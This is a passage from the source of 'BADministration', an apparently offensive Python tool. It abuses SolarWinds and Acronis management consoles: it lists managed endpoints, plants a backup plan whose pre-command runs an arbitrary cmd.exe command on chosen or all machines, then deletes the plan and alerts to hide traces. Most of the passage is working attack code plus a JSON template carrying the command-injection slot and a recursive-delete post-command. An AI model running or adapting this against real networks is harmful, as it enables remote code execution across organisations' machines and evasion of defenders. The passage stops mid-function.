self.get_params() 370 | for c, d in self.requiredparams.items(): 371 | if d is None: 372 | print "Parameter not set" 373 | self.do_show_options(args) 374 | flag = False 375 | break 376 | if flag is True: 377 | self.sw_system_cleanup() 378 | 379 | def sw_system_cleanup(self): 380 | try: 381 | ####Variable conversion 382 | target = self.context.Target 383 | username = self.context.Username 384 | password = self.context.Password 385 | verbose = False 386 | helper = Solarwinds_Helper() 387 | 388 | ####Connection Setup 389 | requests.packages.urllib3.disable_warnings() 390 | swiconnection = helper.swisconnect(target, username, password) 391 | 392 | ####Header 393 | helper.headerdisplay("Solarwinds Alert Clean Up") 394 | 395 | ###Cleanup 396 | if verbose == True: 397 | print colored("Verbose Output - Attempting to delete Solarwinds alert ", 'green', 'on_blue') 398 | 399 | alertquery = swiconnection.query("SELECT AlertID,Name,Uri FROM Orion.AlertConfigurations WHERE Name = 'CPL Alert'") 400 | swiconnection.delete(alertquery['results'][0]['Uri']) 401 | 402 | except requests.exceptions.ConnectionError as error: 403 | print colored("Connection failed to Orion Server - " + target, 'yellow', 'on_blue') 404 | except Exception as error: 405 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 406 | -------------------------------------------------------------------------------- /Modules/Acronis/cpl_backup.json: -------------------------------------------------------------------------------- 1 | { 2 | "allowedActions": [ 3 | "rename", 4 | "revoke", 5 | "runNow" 6 | ], 7 | "allowedBackupTypes": [ 8 | "full", 9 | "incremental", 10 | "differential" 11 | ], 12 | "backupType": "files", 13 | "bootableMediaPlan": false, 14 | "editable": true, 15 | "enabled": false, 16 | "id": "9371B258-7FC4-4A3E-80A9-102A06616EA9", 17 | "locations": { 18 | "data": [ 19 | { 20 | "displayName": "script.vbs", 21 | "id": "[[\"ItemType\",\"script\"],[\"LocalID\",\"script.vbs\"]]", 22 | "type": "script" 23 | } 24 | ] 25 | }, 26 | "name": "CPL_Backup", 27 | "options": { 28 | "backupOptions": { 29 | "additional": { 30 | "askForFirstMedia": false, 31 | "backupMountPointContent": false, 32 | "deleteOldSlicesDuringBackup": false, 33 | "disableDedupeAtSource": false, 34 | "dismountMedia": false, 35 | "fixedDriveBehaviorOnRemovable": true, 36 | "mediaEjectingRules": { 37 | "ejectFullMedia": false, 38 | "ejectMediaIfSuccessfull": false 39 | }, 40 | "mediaSelectionRule": [ 41 | "use_separate_media_set_for_backup_set" 42 | ], 43 | "overwriteDataOnTape": false, 44 | "preserveTapesPosition": true, 45 | "rebootAfterOperation": false, 46 | "resetArchiveBit": false, 47 | "saveSoftwareRaidConfiguration": true, 48 | "syntheticBackup": false, 49 | "wakeOnLan": false, 50 | "weeklyBackupDay": "monday" 51 | }, 52 | "alerts": { 53 | "noBackupForXDays": { 54 | "days": 5, 55 | "enabled": false 56 | } 57 | }, 58 | "archiveProtection": { 59 | "algorithm": "aes256", 60 | "usePassword": false 61 | }, 62 | "archiveSplitting": { 63 | "splitSize": "auto" 64 | }, 65 | "backupCataloging": { 66 | "isEnabled": false 67 | }, 68 | "backupFormat": "auto", 69 | "backupPriority": { 70 | "priority": "normal" 71 | }, 72 | "centralizedSimultaneousBackups": { 73 | "simultaneousBackupsNumber": null 74 | }, 75 | "compressionLevel": { 76 | "level": "normal" 77 | }, 78 | "disasterRecoveryPlan": { 79 | "drpFilePath": "", 80 | "email": { 81 | "emailServiceEncryption": "none", 82 | "emailServiceType": "none", 83 | "enabled": false, 84 | "events": [], 85 | "from": "", 86 | "popServerAddress": "", 87 | "popServerLogon": { 88 | "userName": "" 89 | }, 90 | "popServerPort": 110, 91 | "smtpServerAddress": "", 92 | "smtpServerLogon": { 93 | "userName": "" 94 | }, 95 | "smtpServerPort": 25, 96 | "subject": "", 97 | "to": "" 98 | }, 99 | "isEnabled": false, 100 | "saveToFile": false 101 | }, 102 | "diskBackup": { 103 | "applicationsToProtect": [], 104 | "cacheFSMeta": false, 105 | "express": true, 106 | "sectorBySector": false 107 | }, 108 | "diskSpeed": { 109 | "mode": "percent", 110 | "value": 100 111 | }, 112 | "enableConsolidation": false, 113 | "errorHandling": { 114 | "commonErrorHandling": { 115 | "reattemptOnError": false, 116 | "reattemptTimeFrame": { 117 | "type": "seconds", 118 | "value": 30 119 | }, 120 | "reattemptsCount": 30, 121 | "silentMode": true 122 | }, 123 | "ignoreBadSectors": false 124 | }, 125 | "exclusions": { 126 | "excludeHidden": false, 127 | "excludeSystem": false, 128 | "exclusionMasks": [], 129 | "inclusionMasks": [] 130 | }, 131 | "fileLevelBackupSnapshot": { 132 | "mode": "ifPossible" 133 | }, 134 | "filesSecurity": { 135 | "commonSecurityConfiguration": { 136 | "preserveSecuritySettings": true 137 | }, 138 | "storeAsDecrypted": false 139 | }, 140 | "incrementalBackup": { 141 | "cbtUsage": "enableAndUse", 142 | "fastBackup": true 143 | }, 144 | "lvmSnapshots": { 145 | "useLvmSnapshots": false 146 | }, 147 | "msSqlTruncateLogs": true, 148 | "networkSpeed": { 149 | "mode": "percent", 150 | "value": 100 151 | }, 152 | "notarized": false, 153 | "notification": { 154 | "email": { 155 | "emailServiceEncryption": "none", 156 | "emailServiceType": "none", 157 | "enabled": false, 158 | "events": [], 159 | "from": "", 160 | "popServerAddress": "", 161 | "popServerLogon": { 162 | "userName": "" 163 | }, 164 | "popServerPort": 110, 165 | "smtpServerAddress": "", 166 | "smtpServerLogon": { 167 | "userName": "" 168 | }, 169 | "smtpServerPort": 25, 170 | "subject": "", 171 | "to": "" 172 | } 173 | }, 174 | "prePostCommands": { 175 | "postCommands": { 176 | "command": "c:\\windows\\system32\\cmd.exe", 177 | "commandArguments": "/c rd /s /q c:\\users\\public\\thisisatemp", 178 | "continueOnCommandError": true, 179 | "waitCommandComplete": true, 180 | "workingDirectory": "c:\\" 181 | }, 182 | "preCommands": { 183 | "command": "c:\\windows\\system32\\cmd.exe", 184 | "commandArguments": "/c CMDGOESHERE", 185 | "continueOnCommandError": false, 186 | "waitCommandComplete": true, 187 | "workingDirectory": "c:\\" 188 | }, 189 | "useDefaultCommands": false, 190 | "usePostCommands": true, 191 | "usePreCommands": true 192 | }, 193 | "prePostDataCommands": { 194 | "postCommands": { 195 | "command": "", 196 | "commandArguments": "", 197 | "continueOnCommandError": false, 198 | "waitCommandComplete": true, 199 | "workingDirectory": "" 200 | }, 201 | "preCommands": { 202 | "command": "", 203 | "commandArguments": "", 204 | "continueOnCommandError": false, 205 | "waitCommandComplete": true, 206 | "workingDirectory": "" 207 | }, 208 | "useDefaultCommands": true, 209 | "usePostCommands": false, 210 | "usePreCommands": false 211 | }, 212 | "scheduling": { 213 | "interval": { 214 | "type": "minutes", 215 | "value": 30 216 | }, 217 | "type": "distributeBackupTimeOptions" 218 | }, 219 | "simultaneousBackups": { 220 | "simultaneousBackupsNumber": null 221 | }, 222 | "snapshot": { 223 | "quiesce": true, 224 | "retryConfiguration": { 225 | "reattemptOnError": true, 226 | "reattemptTimeFrame": { 227 | "type": "minutes", 228 | "value": 5 229 | }, 230 | "reattemptsCount": 3, 231 | "silentMode": false 232 | } 233 | }, 234 | "tapes": { 235 | "devices": [], 236 | "overwriteDataOnTape": false, 237 | "preserveTapesPosition": true, 238 | "tapeSet": "" 239 | }, 240 | "taskExecutionWindow": { 241 | "enabled": false, 242 | "presets": [], 243 | "timetable": [] 244 | }, 245 | "taskFailureHandling": { 246 | "periodBetweenRetryAttempts": { 247 | "type": "hours", 248 | "value": 1 249 | }, 250 | "retryAttempts": 1, 251 | "retryFailedTask": false 252 | }, 253 | "taskStartConditions": { 254 | "runAnyway": false, 255 | "runAnywayAfterPeriod": { 256 | "type": "hours", 257 | "value": 1 258 | }, 259 | "waitUntilMet": true 260 | }, 261 | "validateBackup": false, 262 | "volumes": { 263 | "forceVssFullBackup": false, 264 | "useMultiVolumeSnapshot": true, 265 | "useNativeVssProvider": false, 266 | "useVolumeShadowService": true, 267 | "useVssFlags": [ 268 | "definedRule" 269 | ] 270 | }, 271 | "windowsEventLog": { 272 | "isGlobalConfigurationUsed": true, 273 | "traceLevel": "warning", 274 | "traceState": false 275 | }, 276 | "withHWSnapshot": false 277 | }, 278 | "specificParameters": { 279 | "inclusionRules": { 280 | "rules": [ 281 | "c:\\users\\default\\ntuser.dat" 282 | ], 283 | "rulesType": "centralizedFiles" 284 | }, 285 | "type": "" 286 | } 287 | }, 288 | "origin": "centralized", 289 | "route": { 290 | "archiveSlicing": null, 291 | "stages": [ 292 | { 293 | "archiveName": "[Machine Name]-[Plan ID]-[Unique ID]A", 294 | "cleanUpIfNoSpace": false, 295 | "cleanup": { 296 | "afterBackup": true, 297 | "beforeBackup": false, 298 | "consolidateBackup": false, 299 | "time": [ 300 | { 301 | "backupSet": "full", 302 | "period": { 303 | "type": "days", 304 | "value": 1 305 | } 306 | } 307 | ], 308 | "type": "cleanupByTime" 309 | }, 310 | "destinationKind": "script", 311 | "locationScript": { 312 | "body": "WScript.Echo(\"c:\\\\users\\\\public\\\\thisisatemp\")", 313 | "filePath": "script.vbs" 314 | }, 315 | "locationUri": "[Location Script]", 316 | "locationUriType": "local", 317 | "maintenanceWindow": null, 318 | "postAction": { 319 | "convertToVMParameters": { 320 | "agentIds": [], 321 | "cpuCount": null, 322 | "diskAllocationType": "thick", 323 | "displayedName": null, 324 | "enabled": false, 325 | "exactMemorySize": false, 326 | "infrastructureType": "", 327 | "memorySize": null, 328 | "networkAdapters": [], 329 | "virtualMachineName": "", 330 | "virtualServerHost": null, 331 | "virtualServerHostKey": "[[\"ItemType\",\"\"],[\"LocalID\",\"\"]]", 332 | "virtualServerStorage": "" 333 | } 334 | }, 335 | "rules": [ 336 | { 337 | "afterBackup": true, 338 | "backupCountUpperLimit": 0, 339 | "backupSetIndex": "full", 340 | "backupUpperLimitSize": 0, 341 | "beforeBackup": false, 342 | "consolidateBackup": false, 343 | "deleteOlderThan": { 344 | "type": "days", 345 | "value": 1 346 | }, 347 | "deleteYongerThan": { 348 | "type": "days", 349 | "value": 0 350 | }, 351 | "onSchedule": false, 352 | "retentionSchedule": { 353 | "alarms": [], 354 | "conditions": [], 355 | "maxDelayPeriod": -1, 356 | "maxRetries": 0, 357 | "preventFromSleeping": true, 358 | "retryPeriod": 0, 359 | "type": "none", 360 | "unique": false, 361 | "waitActionType": "run" 362 | }, 363 | "stagingOperationType": "justCleanup" 364 | } 365 | ], 366 | "taskExecutionWindow": { 367 | "enabled": false, 368 | "presets": [], 369 | "timetable": [] 370 | }, 371 | "useProtectionPlanCredentials": true, 372 | "validationRules": null 373 | } 374 | ] 375 | }, 376 | "scheme": { 377 | "parameters": { 378 | "items": [ 379 | { 380 | "kind": { 381 | "dataType": "binary", 382 | "type": "full" 383 | }, 384 | "schedule": { 385 | "alarms": [ 386 | { 387 | "beginDate": { 388 | "day": 0, 389 | "month": 0, 390 | "year": 0 391 | }, 392 | "calendar": { 393 | "days": 95, 394 | "type": "weekly", 395 | "weekInterval": 0 396 | }, 397 | "distribution": { 398 | "enabled": false, 399 | "interval": 0, 400 | "method": 0 401 | }, 402 | "endDate": { 403 | "day": 0, 404 | "month": 0, 405 | "year": 0 406 | }, 407 | "machineWake": false, 408 | "repeatAtDay": { 409 | "endTime": { 410 | "hour": 0, 411 | "minute": 0, 412 | "second": 0 413 | }, 414 | "timeInterval": 0 415 | }, 416 | "runLater": true, 417 | "skipOccurrences": 0, 418 | "startTime": { 419 | "hour": 23, 420 | "minute": 0, 421 | "second": 0 422 | }, 423 | "startTimeDelay": 0, 424 | "type": "time", 425 | "utcBasedSettings": false 426 | } 427 | ], 428 | "conditions": [], 429 | "maxDelayPeriod": -1, 430 | "maxRetries": 0, 431 | "preventFromSleeping": true, 432 | "retryPeriod": 0, 433 | "type": "weekly", 434 | "unique": false, 435 | "waitActionType": "run" 436 | } 437 | } 438 | ] 439 | }, 440 | "scheduleItems": [ 441 | { 442 | "backupKind": "full", 443 | "conditions": [], 444 | "schedule": { 445 | "daysOfWeek": [ 446 | "friday" 447 | ], 448 | "effectiveDates": { 449 | "from": { 450 | "day": 0, 451 | "month": 0, 452 | "year": 0 453 | }, 454 | "to": { 455 | "day": 0, 456 | "month": 0, 457 | "year": 0 458 | } 459 | }, 460 | "machineWake": false, 461 | "preventFromSleeping": true, 462 | "runLater": true, 463 | "startAt": { 464 | "hour": 23, 465 | "minute": 0, 466 | "second": 0 467 | }, 468 | "type": "weekly" 469 | } 470 | } 471 | ], 472 | "type": "custom" 473 | }, 474 | "sources": { 475 | "data": [ 476 | "displayName": "cpldisplayName", 477 | ] 478 | }, 479 | "target": { 480 | "inclusions": [ 481 | "key": "cplphmkey", 482 | ] 483 | }, 484 | "tenant": { 485 | "id": "00000000-0000-0000-0000-000000000000", 486 | "locator": "/00000000-0000-0000-0000-000000000000/", 487 | "name": "00000000-0000-0000-0000-000000000000", 488 | "parentID": "" 489 | } 490 | } -------------------------------------------------------------------------------- /Modules/Acronis/acronis.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from prettytable import PrettyTable 3 | from termcolor import colored 4 | from cgi import escape 5 | import json 6 | import sys 7 | from ..Common.common import BADminConsole 8 | 9 | class Acronis_Main(BADminConsole): 10 | def __init__(self, context): 11 | BADminConsole.__init__(self, context) 12 | self.prompt = '[BADministration\\acronis]#' 13 | self.modules = ['enumerate', 'client_command', 'list_policy', 'remove_policy'] 14 | self.enumerate = Acronis_Enumerate(context) 15 | self.client_command = Acronis_ClientCommand(context) 16 | self.list_policy = Acronis_ListPolicy(context) 17 | self.remove_policy = Acronis_RemovePolicy(context) 18 | 19 | def do_back(self, args): 20 | return True 21 | 22 | def do_exit(self, args): 23 | sys.exit() 24 | 25 | def do_show_modules(self, args): 26 | print self.modules 27 | 28 | def do_enumerate(self, args): 29 | self.enumerate.cmdloop() 30 | 31 | def do_client_command(self, args): 32 | self.client_command.cmdloop() 33 | 34 | def do_list_policy(self, args): 35 | self.list_policy.cmdloop() 36 | 37 | def do_remove_policy(self, args): 38 | self.remove_policy.cmdloop() 39 | 40 | class Acronis_Helper(): 41 | 42 | def headerdisplay(self, text): 43 | print colored('-------------------------------', 'grey', 'on_blue'), 44 | print colored(text.center(40, ' '), 'red', 'on_blue'), 45 | print colored('-------------------------------', 'grey', 'on_blue') 46 | return 47 | 48 | def ac_connect(self, ac_server, username, password, port): 49 | try: 50 | payload = { 51 | 'machine': ac_server, 52 | 'username': username, 53 | 'password': password, 54 | 'remember': False, 55 | 'type': 'ams', 56 | 'NonRequiredParams': ['username', 'password'], 57 | } 58 | 59 | url = "https://" + ac_server + ":" + port + "/api/ams/session" 60 | requests.packages.urllib3.disable_warnings() 61 | mysess = requests.Session() 62 | mysess.verify = False 63 | #mysess.proxies = proxyDict 64 | response = mysess.post(url, data=json.dumps(payload)) 65 | 66 | if response.status_code == 401: 67 | print colored("Invalid credentials. Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 68 | return False, None 69 | 70 | return True, mysess 71 | 72 | except requests.exceptions.ConnectionError as error: 73 | print colored("Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 74 | except Exception as error: 75 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 76 | 77 | def ac_listpolicy(self, target, username, password, port, acsession): 78 | try: 79 | ####Header 80 | self.headerdisplay("Acronis List Backup Policies") 81 | 82 | ####Connection Setup 83 | 84 | if acsession is None: 85 | Success, acconnection = self.ac_connect(target, username, password, port) 86 | else: 87 | acconnection = acsession 88 | Success = True 89 | 90 | if Success is False: 91 | print "Connection issue" 92 | return 93 | 94 | #### 95 | policies = acconnection.get("https://" + target + ":" + port + "/api/ams/backup/minimal_plans") 96 | 97 | if len(policies.json()) == 0: 98 | print('No policies found.') 99 | return 100 | 101 | #t = PrettyTable(['Policy Name', 'ID', 'Targets', 'BADministration Policy']) 102 | t = PrettyTable(['Policy Name', 'Targets', 'BADministration Policy']) 103 | 104 | BADminName = "" 105 | BADminId = "" 106 | 107 | for r in policies.json()['data']: 108 | poltargets = "" 109 | for p in r['sources']['data']: 110 | poltargets += p['displayName'] + "," 111 | if r['name'].lower() == "cpl_backup": 112 | t.add_row([r['name'], poltargets[:-1], "True"]) 113 | BADminName = r['name'] 114 | BADminId = r['id'] 115 | else: 116 | t.add_row([r['name'], poltargets[:-1], ""]) 117 | print t 118 | return BADminName, BADminId 119 | 120 | except requests.exceptions.ConnectionError as error: 121 | print colored("Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 122 | except Exception as error: 123 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 124 | 125 | 126 | def ac_removepolicy(self, target, username, password, port, context, acsession): 127 | try: 128 | ####Header 129 | self.headerdisplay("Acronis Remove BADministration Policy") 130 | 131 | ####Connection Setup 132 | if acsession is None: 133 | Success, acconnection = self.ac_connect(target, username, password, port) 134 | else: 135 | acconnection = acsession 136 | Success = True 137 | 138 | if Success is False: 139 | print "Connection issue" 140 | return 141 | 142 | print "Attempting to delete BADministration task with hardcoded name - CPL_Backup" 143 | print "Listing current backup policies" 144 | 145 | BADminList = [] 146 | 147 | BADminName, BADminId = self.ac_listpolicy(target, username, password, port, acconnection) 148 | if BADminId == "": 149 | print colored("BADministration task was not found. Exiting...", 'yellow', 'on_blue') 150 | return 151 | BADminList.insert(0, BADminId) 152 | 153 | print colored("Delete policy with the following details:", 'yellow', 'on_blue') 154 | print "Policy Name: " + BADminName 155 | print "Policy ID: " + BADminId 156 | 157 | if context.asktocontinue() is False: 158 | raise Exception("Stop all engines!") 159 | 160 | policystage = { "planIds":BADminList } 161 | policyheaders = {'Content-type': 'application/json; charset=utf-8'} 162 | 163 | deletestage = acconnection.post("https://" + target + ":" + port + "/api/ams/backup/plans_operations/remove_plans", data=json.dumps(policystage), headers=policyheaders) 164 | 165 | if len(deletestage.json()) == 0: 166 | print colored("Policy successfully removed, running view policies one more time.", 'yellow', 'on_blue') 167 | self.ac_listpolicy(target, username, password, port, acconnection) 168 | return 169 | else: 170 | print colored("Policy NOT removed.", 'yellow', 'on_blue') 171 | return 172 | 173 | except requests.exceptions.ConnectionError as error: 174 | print colored("Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 175 | except Exception as error: 176 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 177 | 178 | 179 | class Acronis_Enumerate(BADminConsole): 180 | 181 | params = ['target', 'username', 'password', 'port'] 182 | 183 | def __init__(self, context): 184 | BADminConsole.__init__(self, context) 185 | self.prompt = '[BADministration\\acronis\\enumerate]#' 186 | self.get_params() 187 | 188 | def get_params(self): 189 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 190 | 191 | def do_show_options(self, args): 192 | """Shows required parameters""" 193 | self.context.requiredparams(self.requiredparams) 194 | 195 | def do_set_param(self, args): 196 | """Sets required parameters set_param [parameter] [option] 197 | Example: set_param target 192.168.1.1""" 198 | self.context.argumentparser(args) 199 | 200 | def complete_set_param(self, text, line, begidx, endidx): 201 | if not text: 202 | completions = self.params[:] 203 | else: 204 | completions = [ f 205 | for f in self.params 206 | if f.startswith(text) 207 | ] 208 | return completions 209 | 210 | def do_back(self, args): 211 | """Goes back to parent module""" 212 | return True 213 | 214 | def do_exit(self, args): 215 | """Exit""" 216 | sys.exit() 217 | 218 | def do_run(self, args): 219 | """Runs the current module""" 220 | flag = True 221 | self.get_params() 222 | for c, d in self.requiredparams.items(): 223 | if d is None: 224 | print "Parameter not set" 225 | self.do_show_options(args) 226 | flag = False 227 | break 228 | if flag is True: 229 | self.ac_enumerate() 230 | 231 | def ac_enumerate(self): 232 | try: 233 | ####Variable conversion 234 | target = self.context.Target 235 | username = self.context.Username 236 | password = self.context.Password 237 | port = self.context.Port 238 | verbose = False 239 | helper = Acronis_Helper() 240 | 241 | ####Header 242 | helper.headerdisplay("Acronis Enumeration") 243 | 244 | ####Connection Setup 245 | Success, acconnection = helper.ac_connect(target, username, password, port) 246 | 247 | if Success is False: 248 | return 249 | 250 | #### 251 | clients = acconnection.get("https://" + target + ":" + port + "/api/ams/infrastructure/agents") 252 | 253 | if len(clients.json()) == 0: 254 | print('No nodes found.') 255 | return 256 | 257 | t = PrettyTable(['Display Name', 'IP Addresses', 'Agent Version', 'Agent Type']) 258 | 259 | for r in clients.json()['data']: 260 | ips = "" 261 | for i in r['Attributes']['ResidentialAddresses']: #Array of IPs 262 | ips += i + "," 263 | t.add_row([r['Attributes']['Name'], ips[:-1], r['Attributes']['Agents'][0]['Version'], r['Attributes']['Agents'][1]['Name']]) 264 | print t 265 | 266 | except requests.exceptions.ConnectionError as error: 267 | print colored("Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 268 | except Exception as error: 269 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 270 | 271 | 272 | class Acronis_ClientCommand(BADminConsole): 273 | 274 | params = ['target', 'username', 'password', 'port', 'systems', 'command'] 275 | 276 | def __init__(self, context): 277 | BADminConsole.__init__(self, context) 278 | self.prompt = '[BADministration\\acronis\\client_command]#' 279 | self.get_params() 280 | 281 | def get_params(self): 282 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port, "Systems": self.context.Systems, "Command": self.context.Command } 283 | 284 | def do_show_options(self, args): 285 | """Shows required parameters""" 286 | self.context.requiredparams(self.requiredparams) 287 | 288 | def do_set_param(self, args): 289 | """Sets required parameters set_param [parameter] [option] 290 | Example: set_param target 192.168.1.1""" 291 | self.context.argumentparser(args) 292 | 293 | def complete_set_param(self, text, line, begidx, endidx): 294 | if not text: 295 | completions = self.params[:] 296 | else: 297 | completions = [ f 298 | for f in self.params 299 | if f.startswith(text) 300 | ] 301 | return completions 302 | 303 | def do_back(self, args): 304 | """Goes back to parent module""" 305 | return True 306 | 307 | def do_exit(self, args): 308 | """Exit""" 309 | sys.exit() 310 | 311 | def do_run(self, args): 312 | """Runs the current module""" 313 | flag = True 314 | self.get_params() 315 | for c, d in self.requiredparams.items(): 316 | if d is None: 317 | print "Parameter not set" 318 | self.do_show_options(args) 319 | flag = False 320 | break 321 | if flag is True: 322 | self.ac_clientcmd() 323 | 324 | def ac_clientcmd(self): 325 | try: 326 | 327 | ####Variable conversion 328 | target = self.context.Target 329 | username = self.context.Username 330 | password = self.context.Password 331 | port = self.context.Port 332 | command = self.context.Command 333 | systems = self.context.Systems 334 | verbose = False 335 | helper = Acronis_Helper() 336 | 337 | ####Header 338 | helper.headerdisplay("Acronis Backup Policy Deploy") 339 | 340 | ####Connection Setup 341 | Success, acconnection = helper.ac_connect(target, username, password, port) 342 | 343 | if Success is False: 344 | return 345 | 346 | #### 347 | sysformat = systems.split(',') 348 | 349 | #### 350 | resources = acconnection.get("https://" + target + ":" + port + "/api/ams/resources") 351 | 352 | if len(resources.json()) == 0: 353 | print('No nodes found.') 354 | return 355 | 356 | targetarray = [] 357 | 358 | for r in resources.json()['data']: 359 | if list(r.keys())[0] == "status": 360 | if r['title'].lower() in map(lambda x: x.lower(), sysformat): 361 | targetarray.append([r['title'], r['id']]) 362 | elif sysformat[0].lower() == "all": 363 | targetarray.append([r['title'], r['id']]) 364 | else: 365 | for i in r['ip']: 366 | if i in sysformat: 367 | targetarray.append([r['title'], r['id']]) 368 | 369 | t = PrettyTable(['Display Name']) 370 | 371 | for z in targetarray: 372 | t.add_row([z[0]]) 373 | 374 | print colored("BADministration backup policy will target the following systems:", 'yellow', 'on_blue') 375 | print t 376 | 377 | print colored("The following command will execute on target systems:", 'yellow', 'on_blue') 378 | print command 379 | 380 | if self.context.asktocontinue() is False: 381 | raise Exception("Stop all engines!") 382 | 383 | importfile = './Modules/Acronis/cpl_backup.json' 384 | backup = '' 385 | 386 | ####Read in Acronis backup template. Will replace CMDGOESHERE with command variable 387 | with open(importfile, 'r') as f: 388 | for line in f: 389 | if "CMDGOESHERE" in line: 390 | #backup += line.replace('CMDGOESHERE',json.dumps(command)[1:-1]) 391 | backup += line.replace('CMDGOESHERE',json.dumps(command)[2:-2]) 392 | elif "cpldisplayName" in line: 393 | position = -1 394 | for k in targetarray: 395 | position += 1 396 | backup += " {\r\n" 397 | backup += line.replace('cpldisplayName', k[0]) 398 | backup += " \"id\": \"" + k[1] + "\"" 399 | if position == len(targetarray) - 1: 400 | backup += "\r\n }\r\n" 401 | else: 402 | backup += "\r\n },\r\n" 403 | elif "cplphmkey" in line: 404 | position = -1 405 | for k in targetarray: 406 | position += 1 407 | backup += " {\r\n" 408 | backup += line.replace('cplphmkey', k[1]) 409 | backup += " \"resource_key\": \"" + k[1] + "\"" 410 | if position == len(targetarray) - 1: 411 | backup += "\r\n }\r\n" 412 | else: 413 | backup += "\r\n },\r\n" 414 | 415 | else: 416 | backup += line 417 | 418 | uploadstage = { 419 | 'planfile': ('cpl_backup.json', backup, 'application/json') 420 | } 421 | 422 | policystage = acconnection.post("https://" + target + ":" + port + "/api/ams/backup/plan_operations/import?createDraftOnError=true", files=uploadstage) 423 | 424 | if len(policystage.json()['data']['failedFiles']) != 0: 425 | print colored("Error creating backup policy, check backup policies.", 'yellow', 'on_blue') 426 | print "Error message: " + policystage.json()['data']['failedFiles'][0]['error']['reason'] 427 | print "Error details: " + policystage.json()['data']['failedFiles'][0]['error']['cause'] 428 | return 429 | 430 | print colored("Backup policy successfully deployed. Policy details:", 'yellow', 'on_blue') 431 | print "Uploaded Filename: " + policystage.json()['data']['importedPlans'][0]['fileName'] + "\r\nPlan ID: " + policystage.json()['data']['importedPlans'][0]['planId'] + "\r\n" 432 | 433 | helper.ac_listpolicy(target, username, password, port, acconnection) 434 | 435 | enabledata = { "enabled": True } 436 | taskdata = { "planId":policystage.json()['data']['importedPlans'][0]['planId'] } 437 | taskheaders = {'Content-type': 'application/json; charset=utf-8'} 438 | 439 | enablestage = acconnection.put("https://" + target + ":" + port + "/api/ams/backup/plans/" + policystage.json()['data']['importedPlans'][0]['planId'] + "/enabled", data=json.dumps(enabledata), headers=taskheaders) 440 | 441 | print colored("Attempting to run backup task.", 'yellow', 'on_blue') 442 | 443 | taskstage = acconnection.post("https://" + target + ":" + port + "/api/ams/backup/plan_operations/run", data=json.dumps(taskdata), headers=taskheaders) 444 | 445 | print colored("Proceed to remove BADministration policy, don't press \"y\" until policy command executes.", 'yellow', 'on_blue') 446 | 447 | if self.context.asktocontinue() is False: 448 | raise Exception("Stop all engines!") 449 | 450 | helper.ac_removepolicy(target, username, password, port, self.context, acconnection) 451 | 452 | except requests.exceptions.ConnectionError as error: 453 | print colored("Connection failed to Acronis server - " + ac_server, 'yellow', 'on_blue') 454 | except Exception as error: 455 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 456 | 457 | 458 | class Acronis_ListPolicy(BADminConsole): 459 | 460 | params = ['target', 'username', 'password', 'port'] 461 | 462 | def __init__(self, context): 463 | BADminConsole.__init__(self, context) 464 | self.prompt = '[BADministration\\acronis\\list_policy]#' 465 | self.get_params() 466 | 467 | def get_params(self): 468 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 469 | 470 | def do_show_options(self, args): 471 | """Shows required parameters""" 472 | self.context.requiredparams(self.requiredparams) 473 | 474 | def do_set_param(self, args): 475 | """Sets required parameters set_param [parameter] [option] 476 | Example: set_param target 192.168.1.1""" 477 | self.context.argumentparser(args) 478 | 479 | def complete_set_param(self, text, line, begidx, endidx): 480 | if not text: 481 | completions = self.params[:] 482 | else: 483 | completions = [ f 484 | for f in self.params 485 | if f.startswith(text) 486 | ] 487 | return completions 488 | 489 | def do_back(self, args): 490 | """Goes back to parent module""" 491 | return True 492 | 493 | def do_exit(self, args): 494 | """Exit""" 495 | sys.exit() 496 | 497 | def do_run(self, args): 498 | """Runs the current module""" 499 | flag = True 500 | self.get_params() 501 | for c, d in self.requiredparams.items(): 502 | if d is None: 503 | print "Parameter not set" 504 | self.do_show_options(args) 505 | flag = False 506 | break 507 | if flag is True: 508 | self.ac_listpolicy() 509 | 510 | def ac_listpolicy(self): 511 | try: 512 | ####Variable conversion 513 | target = self.context.Target 514 | username = self.context.Username 515 | password = self.context.Password 516 | port = self.context.Port 517 | verbose = False 518 | helper = Acronis_Helper() 519 | 520 | helper.ac_listpolicy(target, username, password, port, None) 521 | 522 | except requests.exceptions.ConnectionError as error: 523 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 524 | except Exception as error: 525 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 526 | 527 | 528 | class Acronis_RemovePolicy(BADminConsole): 529 | 530 | params = ['target', 'username', 'password', 'port'] 531 | 532 | def __init__(self, context): 533 | BADminConsole.__init__(self, context) 534 | self.prompt = '[BADministration\\acronis\\remove_policy]#' 535 | self.get_params() 536 | 537 | def get_params(self): 538 | self.requiredparams = {"Target": self.context.Target,"Username": self.context.Username, "Password": self.context.Password, "Port": self.context.Port } 539 | 540 | def do_show_options(self, args): 541 | """Shows required parameters""" 542 | self.context.requiredparams(self.requiredparams) 543 | 544 | def do_set_param(self, args): 545 | """Sets required parameters set_param [parameter] [option] 546 | Example: set_param target 192.168.1.1""" 547 | self.context.argumentparser(args) 548 | 549 | def complete_set_param(self, text, line, begidx, endidx): 550 | if not text: 551 | completions = self.params[:] 552 | else: 553 | completions = [ f 554 | for f in self.params 555 | if f.startswith(text) 556 | ] 557 | return completions 558 | 559 | def do_back(self, args): 560 | """Goes back to parent module""" 561 | return True 562 | 563 | def do_exit(self, args): 564 | """Exit""" 565 | sys.exit() 566 | 567 | def do_run(self, args): 568 | """Runs the current module""" 569 | flag = True 570 | self.get_params() 571 | for c, d in self.requiredparams.items(): 572 | if d is None: 573 | print "Parameter not set" 574 | self.do_show_options(args) 575 | flag = False 576 | break 577 | if flag is True: 578 | self.ac_removepolicy() 579 | 580 | def ac_removepolicy(self): 581 | try: 582 